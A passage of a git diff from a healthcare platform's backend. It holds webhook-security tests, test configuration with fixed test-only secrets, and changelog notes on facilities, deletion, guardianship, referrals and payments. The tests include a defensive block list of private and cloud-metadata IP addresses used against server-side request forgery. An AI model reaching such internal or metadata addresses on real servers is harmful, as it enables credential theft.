'172.20.0.1', '192.168.1.1', '169.254.169.254', '100.64.1.1', '0.0.0.0'])( + 'blocks IPv4 %s', + (address) => { + expect(isBlockedWebhookAddress(address)).toBe(true); + }, + ); + + it('allows a public IPv4 address', () => { + expect(isBlockedWebhookAddress('93.184.216.34')).toBe(false); + expect(isBlockedWebhookAddress('172.32.0.1')).toBe(false); + }); + + it.each(['::1', 'fe80::1', 'fc00::1', 'fd12::1', '::ffff:10.0.0.1', '::ffff:169.254.169.254'])( + 'blocks IPv6 %s', + (address) => { + expect(isBlockedWebhookAddress(address)).toBe(true); + }, + ); + + it('fails closed on something that is not an IP literal', () => { + expect(isBlockedWebhookAddress('not-an-ip')).toBe(true); + }); +}); + +describe('webhook signatures', () => { + const secret = 'facility-secret'; + const body = '{"event":"order.assigned","orderId":"o-1"}'; + + it('verifies a payload signed with the same secret and a fresh timestamp', () => { + const header = signWebhookPayload(secret, body, 1_000_000); + expect(verifyWebhookSignature(secret, body, header, 1_000_060)).toBe(true); + }); + + it('rejects a tampered body', () => { + const header = signWebhookPayload(secret, body, 1_000_000); + expect(verifyWebhookSignature(secret, body.replace('o-1', 'o-2'), header, 1_000_000)).toBe(false); + }); + + it('rejects a wrong secret', () => { + const header = signWebhookPayload(secret, body, 1_000_000); + expect(verifyWebhookSignature('other-secret', body, header, 1_000_000)).toBe(false); + }); + + it('rejects a replay outside the tolerance window', () => { + const header = signWebhookPayload(secret, body, 1_000_000); + expect(verifyWebhookSignature(secret, body, header, 1_000_000 + 301)).toBe(false); + }); + + it('rejects a malformed header', () => { + expect(verifyWebhookSignature(secret, body, 'garbage', 1_000_000)).toBe(false); + }); +}); + +describe('webhookRetryDelaySeconds', () => { + it('doubles the delay per attempt from 30 seconds', () => { + expect([1, 2, 3, 4].map(webhookRetryDelaySeconds)).toEqual([30, 60, 120, 240]); + }); + + it('caps the delay at six hours', () => { + expect(webhookRetryDelaySeconds(50)).toBe(6 * 60 * 60); + }); +}); diff --git a/backend/tsconfig.json b/backend/tsconfig.json index 12abbffc..62670cef 100644 --- a/backend/tsconfig.json +++ b/backend/tsconfig.json @@ -1,18 +1,18 @@ -{ - "compilerOptions": { - "target": "ES2022", - "module": "node16", - "moduleResolution": "node16", - "lib": ["ES2022"], - "strict": true, - "esModuleInterop": true, - "resolveJsonModule": true, - "skipLibCheck": true, - "forceConsistentCasingInFileNames": true, - "noUnusedLocals": true, - "noUnusedParameters": true, - "noFallthroughCasesInSwitch": true, - "noEmit": true - }, - "include": ["src", "tests", "vitest.config.mts"] -} +{ + "compilerOptions": { + "target": "ES2022", + "module": "node16", + "moduleResolution": "node16", + "lib": ["ES2022"], + "strict": true, + "esModuleInterop": true, + "resolveJsonModule": true, + "skipLibCheck": true, + "forceConsistentCasingInFileNames": true, + "noUnusedLocals": true, + "noUnusedParameters": true, + "noFallthroughCasesInSwitch": true, + "noEmit": true + }, + "include": ["src", "tests", "vitest.config.mts"] +} diff --git a/backend/vitest.config.mts b/backend/vitest.config.mts index 26711048..f39f8eff 100644 --- a/backend/vitest.config.mts +++ b/backend/vitest.config.mts @@ -1,38 +1,38 @@ -import { defineConfig } from 'vitest/config'; - -export default defineConfig({ - test: { - environment: 'node', - globals: true, - // Booking-concurrency tests fire real concurrent transactions against - // a real Postgres β€” a bit more headroom than vitest's 5s default. - testTimeout: 15_000, - // The integration beforeAll hooks do even more than one test: start an - // embedded Postgres, run `prisma migrate deploy`, import the app and - // seed actors. Several such files run in parallel, so on a loaded CI - // runner the 10s default cut the hook off mid-seed (issue #39 CI run: - // access-control timed out at 101 tests skipped). - // The end-to-end care-thread test walks every phase in one file, - // so its hook also seeds the full actor set and needs headroom. - hookTimeout: 120_000, - env: { - JWT_ACCESS_SECRET: 'test-access-secret', - JWT_REFRESH_SECRET: 'test-refresh-secret', - // Clinical free-text fields are encrypted at write time (issue #46). - // A fixed 32-byte test key keeps ciphertext deterministic across runs - // without touching the real key, which only production/dev envs hold. - FIELD_ENCRYPTION_KEY_V1: 'BwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwc=', - FIELD_ENCRYPTION_ACTIVE_VERSION: 'v1', - SEP10_SIGNING_SECRET: 'SC3Z2YBPD7KGXC73CTBNDRGQOIUSAZUH445QIB2PPKWO7CXULRY75JGJ', - SEP10_HOME_DOMAIN: 'docforum.test', - SEP10_WEB_AUTH_DOMAIN: 'api.docforum.test', - // Port 5433, not 5432 β€” tests/integration/booking.test.mts spins up - // its own throwaway Postgres cluster on this port so the suite is - // self-contained (no pre-existing DB required). A distinct port - // avoids clashing with a real local Postgres a developer may have - // running on the default 5432. - DATABASE_URL: - process.env.DATABASE_URL_TEST ?? 'postgresql://docforum:docforum@localhost:5433/docforum_test', - }, - }, -}); +import { defineConfig } from 'vitest/config'; + +export default defineConfig({ + test: { + environment: 'node', + globals: true, + // Booking-concurrency tests fire real concurrent transactions against + // a real Postgres β€” a bit more headroom than vitest's 5s default. + testTimeout: 15_000, + // The integration beforeAll hooks do even more than one test: start an + // embedded Postgres, run `prisma migrate deploy`, import the app and + // seed actors. Several such files run in parallel, so on a loaded CI + // runner the 10s default cut the hook off mid-seed (issue #39 CI run: + // access-control timed out at 101 tests skipped). + // The end-to-end care-thread test walks every phase in one file, + // so its hook also seeds the full actor set and needs headroom. + hookTimeout: 120_000, + env: { + JWT_ACCESS_SECRET: 'test-access-secret', + JWT_REFRESH_SECRET: 'test-refresh-secret', + // Clinical free-text fields are encrypted at write time (issue #46). + // A fixed 32-byte test key keeps ciphertext deterministic across runs + // without touching the real key, which only production/dev envs hold. + FIELD_ENCRYPTION_KEY_V1: 'BwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwc=', + FIELD_ENCRYPTION_ACTIVE_VERSION: 'v1', + SEP10_SIGNING_SECRET: 'SC3Z2YBPD7KGXC73CTBNDRGQOIUSAZUH445QIB2PPKWO7CXULRY75JGJ', + SEP10_HOME_DOMAIN: 'docforum.test', + SEP10_WEB_AUTH_DOMAIN: 'api.docforum.test', + // Port 5433, not 5432 β€” tests/integration/booking.test.mts spins up + // its own throwaway Postgres cluster on this port so the suite is + // self-contained (no pre-existing DB required). A distinct port + // avoids clashing with a real local Postgres a developer may have + // running on the default 5432. + DATABASE_URL: + process.env.DATABASE_URL_TEST ?? 'postgresql://docforum:docforum@localhost:5433/docforum_test', + }, + }, +}); diff --git a/changelog.d/120-property-tests.md b/changelog.d/120-property-tests.md index 6a03f722..1c7e4ffd 100644 --- a/changelog.d/120-property-tests.md +++ b/changelog.d/120-property-tests.md @@ -1,3 +1,3 @@ -Phase 9: exercise slot-generation invariants and appointment/payment state -transitions with fixed-seed property tests, plus a larger nightly run -([issue #120](https://github.com/DocForum/docforum-core/issues/120)). +Phase 9: exercise slot-generation invariants and appointment/payment state +transitions with fixed-seed property tests, plus a larger nightly run +([issue #120](https://github.com/DocForum/docforum-core/issues/120)). diff --git a/changelog.d/123-admin-overview.md b/changelog.d/123-admin-overview.md index 8aef56d0..38834e27 100644 --- a/changelog.d/123-admin-overview.md +++ b/changelog.d/123-admin-overview.md @@ -1,9 +1,9 @@ -Phase 8: admin operations overview -([issue #123](https://github.com/DocForum/docforum-core/issues/123)). -`GET /admin/overview` (admin-only) returns the count and oldest-item age for -each queue listed in `src/admin-overview-sections.ts`, with a drill-down path. -Each section comes from its owning module's service. A failing section is -reported as `unavailable` and does not fail the response. The result is cached -for 60 seconds. Only the doctor-verification queue is listed so far. Payments -in intermediate states, failed jobs, stale referrals and unrouted orders still -need their own sections. +Phase 8: admin operations overview +([issue #123](https://github.com/DocForum/docforum-core/issues/123)). +`GET /admin/overview` (admin-only) returns the count and oldest-item age for +each queue listed in `src/admin-overview-sections.ts`, with a drill-down path. +Each section comes from its owning module's service. A failing section is +reported as `unavailable` and does not fail the response. The result is cached +for 60 seconds. Only the doctor-verification queue is listed so far. Payments +in intermediate states, failed jobs, stale referrals and unrouted orders still +need their own sections. diff --git a/changelog.d/126-webhook-security-core.md b/changelog.d/126-webhook-security-core.md index 28c34f20..55477c85 100644 --- a/changelog.d/126-webhook-security-core.md +++ b/changelog.d/126-webhook-security-core.md @@ -1,7 +1,7 @@ -Phase 5: webhook security primitives for facility notifications -([issue #126](https://github.com/DocForum/docforum-core/issues/126), partial). -`src/utils/webhook-security.ts` adds HTTPS-only URL validation, blocks -private, loopback, link-local and metadata IP literals, signs payloads with -HMAC-SHA256 over `timestamp.body`, and computes capped exponential retry -delays. Registration, the outbox, the delivery log and the schema are not -included yet. +Phase 5: webhook security primitives for facility notifications +([issue #126](https://github.com/DocForum/docforum-core/issues/126), partial). +`src/utils/webhook-security.ts` adds HTTPS-only URL validation, blocks +private, loopback, link-local and metadata IP literals, signs payloads with +HMAC-SHA256 over `timestamp.body`, and computes capped exponential retry +delays. Registration, the outbox, the delivery log and the schema are not +included yet. diff --git a/changelog.d/128-doctor-search.md b/changelog.d/128-doctor-search.md index 8b6d988e..6f96f5cb 100644 --- a/changelog.d/128-doctor-search.md +++ b/changelog.d/128-doctor-search.md @@ -1,4 +1,4 @@ -Phase 2: add the specialty catalog and doctor-owned specialty assignment, -plus a verified-only paginated doctor directory with trigram matching for -names and specialties ([issues #23](https://github.com/DocForum/docforum-core/issues/23) -and [#128](https://github.com/DocForum/docforum-core/issues/128)). +Phase 2: add the specialty catalog and doctor-owned specialty assignment, +plus a verified-only paginated doctor directory with trigram matching for +names and specialties ([issues #23](https://github.com/DocForum/docforum-core/issues/23) +and [#128](https://github.com/DocForum/docforum-core/issues/128)). diff --git a/changelog.d/13-fulfillment-record-typed-order-fks.md b/changelog.d/13-fulfillment-record-typed-order-fks.md index c64a88c9..11632e51 100644 --- a/changelog.d/13-fulfillment-record-typed-order-fks.md +++ b/changelog.d/13-fulfillment-record-typed-order-fks.md @@ -1,22 +1,22 @@ -Phase 5 prerequisite: resolved the polymorphic `FulfillmentRecord` design smell -flagged in ARCHITECTURE.md Β§6.1.3 and Β§6.3.1 -([issue #13](https://github.com/DocForum/docforum-core/issues/13)) with -`docs/adr/0012-fulfillment-record-typed-order-fks.md`. Decision: keep **one** -table, drop the polymorphism β€” the Phase 0 `(order_type, order_id)` TEXT pair is -replaced by real `prescription_id` / `lab_order_id` FKs (each `UNIQUE`, a -PostgreSQL `CHECK` requires exactly one, the same mechanism `PaymentIntent` got -in issue #85) and `facilityId` becomes a real FK to `FacilityProfile`. All three -are `RESTRICT`, so deleting an order or a facility account cannot erase the -fulfillment trail (ADR 0010). Splitting into `PrescriptionFulfillment` / -`LabOrderFulfillment` was weighed and rejected: it would give ARCHITECTURE.md -Β§5.3 step 5 two implementations to keep in sync and a facility's assigned-orders -queue a cross-table union. - -No endpoints, services or module code changes: the placeholder had no readers, -so this ships as schema + migration + docs. #14 creates the row, #15 owns the -`β†’ fulfilled` transition (the only path per hard rule 5), #16 attaches -`LabResult` through its existing table. Two things the ADR decides rather than -invents: one fulfillment row per order, ever β€” re-routing after a `rejected` -fulfillment needs a partial unique index and stays deferred; and `facilityId` is -denormalised from the order at creation, the equality invariant owned by #14's -service, not a DB trigger. +Phase 5 prerequisite: resolved the polymorphic `FulfillmentRecord` design smell +flagged in ARCHITECTURE.md Β§6.1.3 and Β§6.3.1 +([issue #13](https://github.com/DocForum/docforum-core/issues/13)) with +`docs/adr/0012-fulfillment-record-typed-order-fks.md`. Decision: keep **one** +table, drop the polymorphism β€” the Phase 0 `(order_type, order_id)` TEXT pair is +replaced by real `prescription_id` / `lab_order_id` FKs (each `UNIQUE`, a +PostgreSQL `CHECK` requires exactly one, the same mechanism `PaymentIntent` got +in issue #85) and `facilityId` becomes a real FK to `FacilityProfile`. All three +are `RESTRICT`, so deleting an order or a facility account cannot erase the +fulfillment trail (ADR 0010). Splitting into `PrescriptionFulfillment` / +`LabOrderFulfillment` was weighed and rejected: it would give ARCHITECTURE.md +Β§5.3 step 5 two implementations to keep in sync and a facility's assigned-orders +queue a cross-table union. + +No endpoints, services or module code changes: the placeholder had no readers, +so this ships as schema + migration + docs. #14 creates the row, #15 owns the +`β†’ fulfilled` transition (the only path per hard rule 5), #16 attaches +`LabResult` through its existing table. Two things the ADR decides rather than +invents: one fulfillment row per order, ever β€” re-routing after a `rejected` +fulfillment needs a partial unique index and stays deferred; and `facilityId` is +denormalised from the order at creation, the equality invariant owned by #14's +service, not a DB trigger. diff --git a/changelog.d/133-localization-foundation.md b/changelog.d/133-localization-foundation.md index b3018617..c6701a7b 100644 --- a/changelog.d/133-localization-foundation.md +++ b/changelog.d/133-localization-foundation.md @@ -1 +1 @@ -Phase 9: added user locale preference, request and recipient locale resolution, ICU-formatted coded errors and password-reset notifications, English/French message catalogs, and a CI key-parity check ([issue #133](https://github.com/DocForum/docforum-core/issues/133)). Existing uncatalogued server messages still use their English fallback. +Phase 9: added user locale preference, request and recipient locale resolution, ICU-formatted coded errors and password-reset notifications, English/French message catalogs, and a CI key-parity check ([issue #133](https://github.com/DocForum/docforum-core/issues/133)). Existing uncatalogued server messages still use their English fallback. diff --git a/changelog.d/14-facility-creation-capability-matching.md b/changelog.d/14-facility-creation-capability-matching.md index 7ac2922f..4a6615db 100644 --- a/changelog.d/14-facility-creation-capability-matching.md +++ b/changelog.d/14-facility-creation-capability-matching.md @@ -1,47 +1,47 @@ -Phase 5: admin-only facility account creation + `FacilityCapability` matching -([issue #14](https://github.com/DocForum/docforum-core/issues/14)). - -`POST /facilities` (admin-gated at the route, mirroring Phase 1's admin-gated -doctor verification) creates the `facility`-role `User`, its `FacilityProfile` -and its `FacilityCapability` rows in one transaction, plus a -`facility.created` `AuditEvent` (ids and counts only β€” never the email or the -credential). There is still no self-serve facility signup: `POST /auth/signup` -refuses the role, so this endpoint is the only creation path (PRD OQ-2 β€” a -curated partner list is what protects FR-13 / Β§8.1.6). Deliberate defaults, -flagged rather than hidden: the admin sets the initial password out of band -(same posture as the bootstrap admin CLI) and `emailVerifiedAt` is set at -creation because the email provider (#17) can't deliver a link, and an -unverified curated partner would otherwise never be able to publish prices -(`requireVerifiedEmail` gates `POST /facilities/me/prices`). Capabilities must -match the facility type (`lab` ↔ `lab_test`, `pharmacy` ↔ -`medication_dispense`) and at least one is required, so an account created -through this path can never be un-qualifiable data. Capability management -after creation (edit/retire a capability) has no endpoint yet β€” that surface -is still pending. - -Matching (PRD FR-13): `GET /facilities/eligible` now returns only facilities -of the requested type that *hold* the matching `FacilityCapability` row, and -the services export `listEligibleFacilitiesForOrderKind('lab_order' | -'prescription')` for callers that start from an order instead of a facility -type. **Fail closed** β€” a facility with no capability rows, or only rows of -the wrong capability type, shows for nothing; under-showing is an operator -fix, over-showing is the fraud/safety concern Β§8.1.6 names. Consequence for -existing data: Phase-1 facilities seeded without capabilities disappear from -`/eligible` until an admin creates/repairs their qualification data β€” the -integration tests that predate #14 needed capability rows added to their -fixtures for exactly this reason. - -Not in this issue, stated plainly because ADR 0012 assigns it to #14: the -`FulfillmentRecord` row *at facility selection* is not created here β€” no -selection endpoint exists yet (orders name their facility at issuance, -`Prescription.facilityProfileId` / `LabOrder.facilityProfileId`), and issuance -currently does not capability-check it. That wiring, and the -`β†’ fulfilled` transition, land with #15 on top of this matching rule. - -No schema or migration changes: `FacilityProfile`, `FacilityCapability` and -`FulfillmentRecord` were already modeled (Phase 1 / #13) and the relations -proved sufficient. Tests: -`backend/tests/integration/facility-creation-matching.test.mts` (admin gate -enforced server-side at 401/403, no self-serve path, one-transaction creation -+ audit, fail-closed matching across four facilities with different -capability data). +Phase 5: admin-only facility account creation + `FacilityCapability` matching +([issue #14](https://github.com/DocForum/docforum-core/issues/14)). + +`POST /facilities` (admin-gated at the route, mirroring Phase 1's admin-gated +doctor verification) creates the `facility`-role `User`, its `FacilityProfile` +and its `FacilityCapability` rows in one transaction, plus a +`facility.created` `AuditEvent` (ids and counts only β€” never the email or the +credential). There is still no self-serve facility signup: `POST /auth/signup` +refuses the role, so this endpoint is the only creation path (PRD OQ-2 β€” a +curated partner list is what protects FR-13 / Β§8.1.6). Deliberate defaults, +flagged rather than hidden: the admin sets the initial password out of band +(same posture as the bootstrap admin CLI) and `emailVerifiedAt` is set at +creation because the email provider (#17) can't deliver a link, and an +unverified curated partner would otherwise never be able to publish prices +(`requireVerifiedEmail` gates `POST /facilities/me/prices`). Capabilities must +match the facility type (`lab` ↔ `lab_test`, `pharmacy` ↔ +`medication_dispense`) and at least one is required, so an account created +through this path can never be un-qualifiable data. Capability management +after creation (edit/retire a capability) has no endpoint yet β€” that surface +is still pending. + +Matching (PRD FR-13): `GET /facilities/eligible` now returns only facilities +of the requested type that *hold* the matching `FacilityCapability` row, and +the services export `listEligibleFacilitiesForOrderKind('lab_order' | +'prescription')` for callers that start from an order instead of a facility +type. **Fail closed** β€” a facility with no capability rows, or only rows of +the wrong capability type, shows for nothing; under-showing is an operator +fix, over-showing is the fraud/safety concern Β§8.1.6 names. Consequence for +existing data: Phase-1 facilities seeded without capabilities disappear from +`/eligible` until an admin creates/repairs their qualification data β€” the +integration tests that predate #14 needed capability rows added to their +fixtures for exactly this reason. + +Not in this issue, stated plainly because ADR 0012 assigns it to #14: the +`FulfillmentRecord` row *at facility selection* is not created here β€” no +selection endpoint exists yet (orders name their facility at issuance, +`Prescription.facilityProfileId` / `LabOrder.facilityProfileId`), and issuance +currently does not capability-check it. That wiring, and the +`β†’ fulfilled` transition, land with #15 on top of this matching rule. + +No schema or migration changes: `FacilityProfile`, `FacilityCapability` and +`FulfillmentRecord` were already modeled (Phase 1 / #13) and the relations +proved sufficient. Tests: +`backend/tests/integration/facility-creation-matching.test.mts` (admin gate +enforced server-side at 401/403, no self-serve path, one-transaction creation ++ audit, fail-closed matching across four facilities with different +capability data). diff --git a/changelog.d/164-typed-api-client.md b/changelog.d/164-typed-api-client.md index 632444bf..15744d77 100644 --- a/changelog.d/164-typed-api-client.md +++ b/changelog.d/164-typed-api-client.md @@ -1 +1 @@ -Publish @docforum/api-client as a versioned, generated TypeScript package derived from the OpenAPI spec. Removes hand-mirrored backend shapes in docforum-web, turns contract changes into compile errors, and publishes via GitHub Release tarball (same mechanism as @docforum/escrow-sdk). Generated types are never hand-edited; client has no Node-only dependencies. +Publish @docforum/api-client as a versioned, generated TypeScript package derived from the OpenAPI spec. Removes hand-mirrored backend shapes in docforum-web, turns contract changes into compile errors, and publishes via GitHub Release tarball (same mechanism as @docforum/escrow-sdk). Generated types are never hand-edited; client has no Node-only dependencies. diff --git a/changelog.d/176-consultation-close-once.md b/changelog.d/176-consultation-close-once.md index c6e1a800..ac9945b3 100644 --- a/changelog.d/176-consultation-close-once.md +++ b/changelog.d/176-consultation-close-once.md @@ -1,13 +1,13 @@ -Phase 2 (issue #4): an appointment's consultation can be closed exactly -once. `Consultation` is one-to-one with its `Appointment` -(`Consultation.appointmentId` UNIQUE, `docs/adr/0009`), so "closed once" is -a database constraint (`P2002` β†’ `409`) rather than an app-level -read-then-write check. All three writers β€” `POST /consultations`, -`POST /appointments/:appointmentId/consultation`, and the orders flow's -consultation step β€” now go through one service -(`consultationsService.createConsultation`), so note encryption -(AES-256-GCM, issue #46), the own-`completed`-appointment rule and the -single `consultation.closed` audit event apply to every address. -`outcome` stays nullable in the schema (a record can exist before -sign-off); the close route requires it at the boundary. Integration test: -`backend/tests/integration/consultation.test.mts`. +Phase 2 (issue #4): an appointment's consultation can be closed exactly +once. `Consultation` is one-to-one with its `Appointment` +(`Consultation.appointmentId` UNIQUE, `docs/adr/0009`), so "closed once" is +a database constraint (`P2002` β†’ `409`) rather than an app-level +read-then-write check. All three writers β€” `POST /consultations`, +`POST /appointments/:appointmentId/consultation`, and the orders flow's +consultation step β€” now go through one service +(`consultationsService.createConsultation`), so note encryption +(AES-256-GCM, issue #46), the own-`completed`-appointment rule and the +single `consultation.closed` audit event apply to every address. +`outcome` stays nullable in the schema (a record can exist before +sign-off); the close route requires it at the boundary. Integration test: +`backend/tests/integration/consultation.test.mts`. diff --git a/changelog.d/3-doctor-today-appointments.md b/changelog.d/3-doctor-today-appointments.md index 5e718641..6fb6c2f0 100644 --- a/changelog.d/3-doctor-today-appointments.md +++ b/changelog.d/3-doctor-today-appointments.md @@ -1 +1 @@ -Phase 2: added a doctor-scoped `GET /appointments/doctor/today` view over scheduled appointments for the current server-local day ([issue #3](https://github.com/DocForum/docforum-core/issues/3)). Existing lifecycle transitions and referral cascades remain unchanged. +Phase 2: added a doctor-scoped `GET /appointments/doctor/today` view over scheduled appointments for the current server-local day ([issue #3](https://github.com/DocForum/docforum-core/issues/3)). Existing lifecycle transitions and referral cascades remain unchanged. diff --git a/changelog.d/41-account-deletion-retention.md b/changelog.d/41-account-deletion-retention.md index 89973871..cdb91b2c 100644 --- a/changelog.d/41-account-deletion-retention.md +++ b/changelog.d/41-account-deletion-retention.md @@ -1,21 +1,21 @@ -Phase 8: account deletion with clinical-record retention -([issue #41](https://github.com/DocForum/docforum-core/issues/41)), with ADR -0010's per-model retention table. `DELETE /patients/me` anonymises in place -rather than cascading: `User.deletedAt` + `PatientProfile.anonymizedAt`, -tombstoned email (frees the address for a new signup), unusable password, -cleared verification; appointments and payment intents are untouched and keep -their FK. The migration flips `PatientProfile.userId` from CASCADE to -RESTRICT (the only FK changed β€” inventory in the ADR). An interval purge -removes only tombstones no module holds records for. Found while testing: -Postgres reports RESTRICT as SQLSTATE 23001, which Prisma surfaces as an -unknown error rather than P2003 β€” recorded in ARCHITECTURE.md Β§6.1.6. The -legal retention period for clinical records is explicitly left open (an open -decision in the ADR), not invented. - -Rebased onto `main` after #40 (patient export), #45 (access log) and the -Phase 3/4 referral and order models landed: the purge now also holds back for -prescriptions, lab orders, referrals and access-log rows (each through its -own module's service), and a patient's exports are deleted inside the -anonymisation transaction, as the ADR's wiring note required of whichever of -#40/#41 merged second. ADR renumbered 0007 β†’ 0010 (0007 is now the backups -ADR). +Phase 8: account deletion with clinical-record retention +([issue #41](https://github.com/DocForum/docforum-core/issues/41)), with ADR +0010's per-model retention table. `DELETE /patients/me` anonymises in place +rather than cascading: `User.deletedAt` + `PatientProfile.anonymizedAt`, +tombstoned email (frees the address for a new signup), unusable password, +cleared verification; appointments and payment intents are untouched and keep +their FK. The migration flips `PatientProfile.userId` from CASCADE to +RESTRICT (the only FK changed β€” inventory in the ADR). An interval purge +removes only tombstones no module holds records for. Found while testing: +Postgres reports RESTRICT as SQLSTATE 23001, which Prisma surfaces as an +unknown error rather than P2003 β€” recorded in ARCHITECTURE.md Β§6.1.6. The +legal retention period for clinical records is explicitly left open (an open +decision in the ADR), not invented. + +Rebased onto `main` after #40 (patient export), #45 (access log) and the +Phase 3/4 referral and order models landed: the purge now also holds back for +prescriptions, lab orders, referrals and access-log rows (each through its +own module's service), and a patient's exports are deleted inside the +anonymisation transaction, as the ADR's wiring note required of whichever of +#40/#41 merged second. ADR renumbered 0007 β†’ 0010 (0007 is now the backups +ADR). diff --git a/changelog.d/42-guardian-dependent-accounts.md b/changelog.d/42-guardian-dependent-accounts.md index 37135443..5d9c9cc5 100644 --- a/changelog.d/42-guardian-dependent-accounts.md +++ b/changelog.d/42-guardian-dependent-accounts.md @@ -1,20 +1,20 @@ -Issue #42 (guardian and dependent accounts) opened as a PR -with ADR 0011: dependents are guardian-owned patient profiles -(`PatientProfile.userId` now nullable, a CHECK requires a DOB when it's -null) linked by a new `Guardianship` table (real FKs, unique per pair, -`revokedAt`, never deleted). The bare `guardianUserId` string is dropped; -the migration aborts if any row still holds a value instead of silently -discarding it (tested both ways). `POST`/`GET /patients/me/dependents` are -create-only; `POST /appointments` takes `patientProfileId`, authorised by -`patientsService.resolveActingProfile` before the booking transaction, -which is otherwise byte-for-byte unchanged β€” re-proven with a concurrent -race that includes a guardian booking. Guardian access ends at the age of -majority (default 18). PRD Β§8.2.5 marked resolved/re-scoped. - -Reconciled with #41 (account deletion), which merged first: -`PatientProfile.userId` is nullable but keeps #41's `ON DELETE RESTRICT`; -deleting a guardian's account revokes their guardianships in the same -transaction (dependents and their records untouched), a deleted account -acts for no one through `resolveActingProfile`, and the account purge holds -a guardian's tombstone while guardianship rows name it (hold -`guardianships`). ADR 0010's retention table and ADR 0011 updated. +Issue #42 (guardian and dependent accounts) opened as a PR +with ADR 0011: dependents are guardian-owned patient profiles +(`PatientProfile.userId` now nullable, a CHECK requires a DOB when it's +null) linked by a new `Guardianship` table (real FKs, unique per pair, +`revokedAt`, never deleted). The bare `guardianUserId` string is dropped; +the migration aborts if any row still holds a value instead of silently +discarding it (tested both ways). `POST`/`GET /patients/me/dependents` are +create-only; `POST /appointments` takes `patientProfileId`, authorised by +`patientsService.resolveActingProfile` before the booking transaction, +which is otherwise byte-for-byte unchanged β€” re-proven with a concurrent +race that includes a guardian booking. Guardian access ends at the age of +majority (default 18). PRD Β§8.2.5 marked resolved/re-scoped. + +Reconciled with #41 (account deletion), which merged first: +`PatientProfile.userId` is nullable but keeps #41's `ON DELETE RESTRICT`; +deleting a guardian's account revokes their guardianships in the same +transaction (dependents and their records untouched), a deleted account +acts for no one through `resolveActingProfile`, and the account purge holds +a guardian's tombstone while guardianship rows name it (hold +`guardianships`). ADR 0010's retention table and ADR 0011 updated. diff --git a/changelog.d/6-referral-specialty-routing.md b/changelog.d/6-referral-specialty-routing.md index a8fb5caa..611d643e 100644 --- a/changelog.d/6-referral-specialty-routing.md +++ b/changelog.d/6-referral-specialty-routing.md @@ -1,23 +1,23 @@ -Phase 3: specialty-only referral routing decided and implemented -([issue #6](https://github.com/DocForum/docforum-core/issues/6)). -[`docs/adr/0008-referral-routing-without-target-doctor.md`](docs/adr/0008-referral-routing-without-target-doctor.md) -closes the ARCHITECTURE.md Β§6.1.2 gap: a referral may name a doctor *or* a -specialty, and a specialty-only target is resolved **at creation** to the -least-loaded eligible doctor (verified, holds the specialty, not the -referring doctor, active account; fewest `pending`+`accepted` referrals, -ties by doctor id). `Referral.targetDoctorId` stays NOT NULL, so nothing -is ever created unassigned; zero eligible doctors is a `422 -REFERRAL_NO_ELIGIBLE_TARGET` and writes no row. No schema or migration -change β€” the new surface is the optional `targetDoctorId` in the existing -referral create/batch bodies and the `targetDoctorId` the response now -carries for a routed referral. - -Not built, deliberately: PRD Β§8.2.2's patient-facing "waiting for a -specialist" state β€” it requires a target-less referral, which the ADR -rejects. Issue #8's time-based expiry is still the answer for a routed -referral whose doctor never offers a slot. - -Note for the next contributor: this change also restores the referrals -table in `docs/api/README.md`, which an earlier commit had truncated -mid-row (along with the payments/orders/audit sections after it β€” still -missing, and not restored here). +Phase 3: specialty-only referral routing decided and implemented +([issue #6](https://github.com/DocForum/docforum-core/issues/6)). +[`docs/adr/0008-referral-routing-without-target-doctor.md`](docs/adr/0008-referral-routing-without-target-doctor.md) +closes the ARCHITECTURE.md Β§6.1.2 gap: a referral may name a doctor *or* a +specialty, and a specialty-only target is resolved **at creation** to the +least-loaded eligible doctor (verified, holds the specialty, not the +referring doctor, active account; fewest `pending`+`accepted` referrals, +ties by doctor id). `Referral.targetDoctorId` stays NOT NULL, so nothing +is ever created unassigned; zero eligible doctors is a `422 +REFERRAL_NO_ELIGIBLE_TARGET` and writes no row. No schema or migration +change β€” the new surface is the optional `targetDoctorId` in the existing +referral create/batch bodies and the `targetDoctorId` the response now +carries for a routed referral. + +Not built, deliberately: PRD Β§8.2.2's patient-facing "waiting for a +specialist" state β€” it requires a target-less referral, which the ADR +rejects. Issue #8's time-based expiry is still the answer for a routed +referral whose doctor never offers a slot. + +Note for the next contributor: this change also restores the referrals +table in `docs/api/README.md`, which an earlier commit had truncated +mid-row (along with the payments/orders/audit sections after it β€” still +missing, and not restored here). diff --git a/changelog.d/79-80-payment-assets-prepare.md b/changelog.d/79-80-payment-assets-prepare.md index a5107453..2b892027 100644 --- a/changelog.d/79-80-payment-assets-prepare.md +++ b/changelog.d/79-80-payment-assets-prepare.md @@ -1,16 +1,16 @@ -Phase 5.5: multi-asset payment intents and the patient-signed prepare half -of ADR 0005 ([issue #79](https://github.com/DocForum/docforum-core/issues/79), -[issue #80](https://github.com/DocForum/docforum-core/issues/80)). -`PaymentIntent.amountStroops` is renamed to the token-agnostic `amount` -(a column rename in the migration, so existing values are preserved), and -each intent now records an allowlisted `assetCode` + `tokenContractId` -(native XLM + USDC on testnet, configured per environment via -`PAYMENT_ASSETS`). Funding and prepare check the payee's trustline before -any SDK call, and facility totals are grouped per asset rather than summed -across them. `POST /payments/intents/:id/prepare` builds and simulates the -patient-as-payer `create_escrow`, stores the unsigned XDR/hash and moves the -intent `created -> awaiting_signature`; an interval job expires stale -prepared transactions back to `created`. The real SDK call still returns -`503 ESCROW_SDK_PREPARE_UNSUPPORTED` until `@docforum/escrow-sdk` 0.3.0 -([issue #32](https://github.com/DocForum/docforum-core/issues/32)) ships; -submit/fee-bump is not part of #80. +Phase 5.5: multi-asset payment intents and the patient-signed prepare half +of ADR 0005 ([issue #79](https://github.com/DocForum/docforum-core/issues/79), +[issue #80](https://github.com/DocForum/docforum-core/issues/80)). +`PaymentIntent.amountStroops` is renamed to the token-agnostic `amount` +(a column rename in the migration, so existing values are preserved), and +each intent now records an allowlisted `assetCode` + `tokenContractId` +(native XLM + USDC on testnet, configured per environment via +`PAYMENT_ASSETS`). Funding and prepare check the payee's trustline before +any SDK call, and facility totals are grouped per asset rather than summed +across them. `POST /payments/intents/:id/prepare` builds and simulates the +patient-as-payer `create_escrow`, stores the unsigned XDR/hash and moves the +intent `created -> awaiting_signature`; an interval job expires stale +prepared transactions back to `created`. The real SDK call still returns +`503 ESCROW_SDK_PREPARE_UNSUPPORTED` until `@docforum/escrow-sdk` 0.3.0 +([issue #32](https://github.com/DocForum/docforum-core/issues/32)) ships; +submit/fee-bump is not part of 